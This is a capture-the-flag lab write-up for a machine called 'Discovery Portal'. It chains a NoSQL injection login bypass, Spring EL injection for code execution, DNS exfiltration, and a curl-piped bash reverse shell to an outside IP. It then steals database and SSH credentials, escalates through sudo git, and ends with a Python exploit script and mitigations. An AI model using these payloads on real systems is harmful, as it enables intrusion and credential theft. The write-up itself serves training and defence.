Target Information
- IP Address: 172.16.10.193
- Difficulty: Hard
- Tags: Web, NoSQL Injection, Spring EL Injection, RCE, Privilege Escalation, MongoDB
Reconnaissance
Port Scanning
Initial enumeration with nmap:
nmap -sV -p 80,27017 172.16.10.193Results:
PORT STATE SERVICE VERSION
80/tcp open http Spring Boot / Express.js
27017/tcp open mongodb MongoDB
Endpoints Discovered
- GET /search - Document search page
- POST /auth/login - Authentication endpoint
- GET /search/query - Advanced search with filters
Tech Stack Identified
- Spring Boot (Java)
- Express.js
- Spring AI
- MongoDB
- Docker container
Web Enumeration
Authentication Endpoint Analysis
Endpoint: /auth/login
Request:
POST /auth/login HTTP/1.1
Host: discovery.hc
Content-Type: application/json
{
"email": "user@example.com",
"password": "password"
}Response:
HTTP/1.1 200 OK
Set-Cookie: connect.sid=SESSION_TOKEN
Content-Type: application/json
{"user": "Anne Carroll"}Search Query Endpoint Analysis
Endpoint: /search/query
Request:
GET /search/query?filterKey=test&filterValue=value HTTP/1.1
Host: discovery.hc
Cookie: connect.sid=SESSION_TOKENResponse:
HTTP/1.1 200 OK
Content-Type: application/json
[{"id": "1", "name": "Document 1"}]Exploitation: NoSQL Injection (Authentication Bypass)
Vulnerability Analysis
Endpoint /auth/login fails to validate JSON properly, allowing MongoDB operators in authentication fields.
Payload:
{
"email": {"$ne": null},
"password": {"$ne": null}
}Command:
curl -X POST http://discovery.hc/auth/login \
-H "Content-Type: application/json" \
-d '{"email":{"$ne":null},"password":{"$ne":null}}'Result:
Authentication bypass successful
Session cookie obtained as user: Anne Carroll
Cookie: connect.sid=SESSION_TOKEN
Exploitation: Spring EL Injection (Remote Code Execution)
Vulnerability Analysis
Endpoint GET /search/query evaluates Spring Expression Language (SpEL) in the filterValue parameter without proper sanitization.
Application constructs expression as:
[#metadata['FILTER_KEY'] == 'FILTER_VALUE']
If FILTER_VALUE contains SpEL code, it gets evaluated.
RCE Payload Development
Basic SpEL Execution:
filterValue=x' or T(java.lang.Runtime).getRuntime().exec(new String[]{'sh','-c','COMMAND'}) or 'x'=='x
Test - whoami Command:
curl -b "connect.sid=SESSION_TOKEN" \
"http://discovery.hc/search/query" \
--data-urlencode "filterKey=test" \
--data-urlencode "filterValue=x' or T(java.lang.Runtime).getRuntime().exec(new String[]{'sh','-c','whoami'}) or 'x'=='x"DNS Exfiltration Verification
Payload:
filterValue=x' or T(java.lang.Runtime).getRuntime().exec(new String[]{'sh','-c','nslookup $(whoami).umkv19uwx1pikttu4xwt8pvonft8h15q.oastify.com'}) or 'x'=='xResult:
DNS Query: root.umkv19uwx1pikttu4xwt8pvonft8h15q.oastify.com
Confirmed: Running as root in container 0d9ad0313ac9
Reverse Shell
Create Shell Script:
cat > /tmp/revshell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.0.35.83/4444 0>&1
EOF
chmod +x /tmp/revshell.sh
# Start HTTP server for file transfer
python3 -m http.server 8000 &Listener:
nc -lvnp 4444Payload:
filterValue=x' or T(java.lang.Runtime).getRuntime().exec(new String[]{'sh','-c','curl http://10.0.35.83:8000/revshell.sh | bash'}) or 'x'=='xResult:
[+] Got reverse shell as root in container 0d9ad0313ac9
Post-Exploitation
Container Enumeration
Findings:
# List application files
ls -la /app
# Find environment files
find / -name ".env*" 2>/dev/null
# Extract credentials
cat /app/.env.internalDiscovered Credentials:
MONGO_HOST=mongodb
MONGO_PORT=27017
MONGO_DB=discoveryportal
MONGO_PRIV_USER=marina
MONGO_PRIV_PASS=94jHcDCx$w8xxBVlQySssVKq
MongoDB Access & Credential Extraction
Connection:
mongosh --host 172.16.10.193:27017 \
-u marina \
-p '94jHcDCx$w8xxBVlQySssVKq' \
--authenticationDatabase discoveryportalDatabase Enumeration:
use discoveryportal
show collections
# Returns: users, vault
db.users.find({})
# Returns: Anne Carroll, Brian Thompson, Claire Stevenson
db.vault.find({})
# SSH Credentials Found:
# {
# _id: 'ssh_credentials',
# username: 'marina',
# password: '$2b$12$HJlf66ERtNWkXR.Rj8Oz7O5hUTa8MHdfNW05lv9nv2qca/wQTZBo.',
# note: 'Host access credentials — authorized personnel only'
# }Privilege Escalation: Git NOPASSWD (GTFOBins)
Enumeration
Check Sudo Privileges:
sudo -lOutput:
User marina may run the following commands on ip-172-16-10-193:
(root) NOPASSWD: /usr/bin/git
Exploitation
Git can execute arbitrary commands via pager configuration. Reference: https://gtfobins.github.io/gtfobins/git/
Method: core.pager Configuration
sudo git -c core.pager='cat /root/flag' logResult:
# whoami
rootROOT OBTAINED!
Attack Chain Summary
1. NoSQL Injection (POST /auth/login)
↓
2. Authentication Bypass
↓
3. Spring EL Injection (GET /search/query)
↓
4. Remote Code Execution (root in container)
↓
5. Reverse Shell Access
↓
6. Environment File Enumeration (.env.internal)
↓
7. MongoDB Credential Discovery
↓
8. SSH Credentials Extracted from MongoDB
↓
9. SSH Login as marina
↓
10. Privilege Escalation (sudo git)
↓
11. Root Access → Flag Captured
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
| NoSQL Injection | CWE-943 | Critical | Authentication bypass |
| Spring EL Injection | CWE-917 | Critical | Remote Code Execution |
| Hardcoded Credentials | CWE-798 | High | Database access compromise |
| Improper Privilege Escalation | CWE-269 | Critical | Root access via sudo misconfiguration |
| Insecure Deserialization | CWE-502 | High | Potential arbitrary code execution |
Mitigation Recommendations
Application Level
- NoSQL Injection Prevention:
- Validate all inputs against expected schema
- Use parameterized queries / prepared statements
- Implement strict whitelist for permitted operators
// Use schema validation in MongoDB
db.createCollection("users", {
validator: {
$jsonSchema: {
bsonType: "object",
required: ["email", "password"],
properties: {
email: { bsonType: "string", pattern: "^[^{]*$" },
password: { bsonType: "string" }
}
}
}
})- Spring EL Injection Prevention:
- Never evaluate user-controlled input as expressions
- Use safe template engines (Thymeleaf with strict mode)
- Implement input validation and sanitization
// Safe approach - avoid SpEL evaluation
String filterValue = sanitizeInput(request.getParameter("filterValue"));
List<?> results = mongoTemplate.find(
Query.query(Criteria.where(key).is(filterValue)),
Document.class
);- Secrets Management:
- Never commit
.envfiles to version control - Use HashiCorp Vault or AWS Secrets Manager
- Implement automatic credential rotation
- Never commit
# .gitignore
.env
.env.local
.env.internal
*.keySystem Level
- MongoDB Security:
- Bind to localhost only / use network segmentation
- Implement Role-Based Access Control (RBAC)
- Enable authentication and encryption
# MongoDB configuration
security:
authorization: enabled
net:
bindIp: 127.0.0.1
port: 27017- Privilege Escalation Prevention:
- Review
/etc/sudoersregularly - Restrict sudo to specific commands only
- Implement command auditing
- Review
# /etc/sudoers - RESTRICT
marina ALL=(root) NOPASSWD: /specific/command/only
# NOT: marina ALL=(root) NOPASSWD: /usr/bin/git- Container Security:
- Run as non-root user
- Use security scanning in CI/CD
- Implement runtime security monitoring
Tools Used
- nmap - Network reconnaissance and port scanning
- curl - HTTP requests and payload delivery
- mongosh - MongoDB shell and queries
- nc (netcat) - Reverse shell listener
- python3 http.server - File serving
- Burp Suite - HTTP proxy and testing
- PortSwigger Collaborator - DNS exfiltration verification
Proof of Concept Scripts
SpEL Injection RCE Exploit
#!/usr/bin/env python3
import requests
import sys
from urllib.parse import quote
def exploit_spel(target, session_token, command):
"""
Exploit Spring EL Injection vulnerability via /search/query
"""
payload = f"x' or T(java.lang.Runtime).getRuntime().exec(new String[]{{'sh','-c','{command}'}}) or 'x'=='x"
url = f"http://{target}/search/query"
cookies = {"connect.sid": session_token}
params = {
"filterKey": "test",
"filterValue": payload
}
response = requests.get(url, params=params, cookies=cookies)
return response.status_code == 200
def bypass_auth(target):
"""
Exploit NoSQL Injection to bypass authentication
"""
url = f"http://{target}/auth/login"
payload = {
"email": {"$ne": None},
"password": {"$ne": None}
}
response = requests.post(url, json=payload)
if response.status_code == 200:
session_token = response.cookies.get("connect.sid")
return session_token
return None
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 exploit.py <target> [command]")
sys.exit(1)
target = sys.argv[1]
command = sys.argv[2] if len(sys.argv) > 2 else "id"
print(f"[+] Attempting authentication bypass on {target}")
session_token = bypass_auth(target)
if session_token:
print(f"[+] Authentication bypass successful!")
print(f"[+] Session: {session_token}")
print(f"[+] Executing command: {command}")
exploit_spel(target, session_token, command)
print(f"[+] Payload sent!")
else:
print("[-] Authentication bypass failed")Flags
User Flag: (Obtained during MongoDB extraction)
Root Flag: FLG{sp4ng_3l_1nj3ction_pwn3d_m0ng0_3sc4l4t10n}
References
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic
- CWE-917: Expression Language Injection
- GTFOBins - Git
- Spring Security - Expression-Based Access Control
- OWASP - NoSQL Injection
- MongoDB Security Checklist
CWE References:
- CWE-943: NoSQL Injection
- CWE-917: Expression Language Injection
- CWE-798: Hardcoded Credentials
- CWE-269: Improper Privilege Escalation
Author: cbxcvl Date: 2026-04-12 Machine: Discovery Portal - Hack The Challenge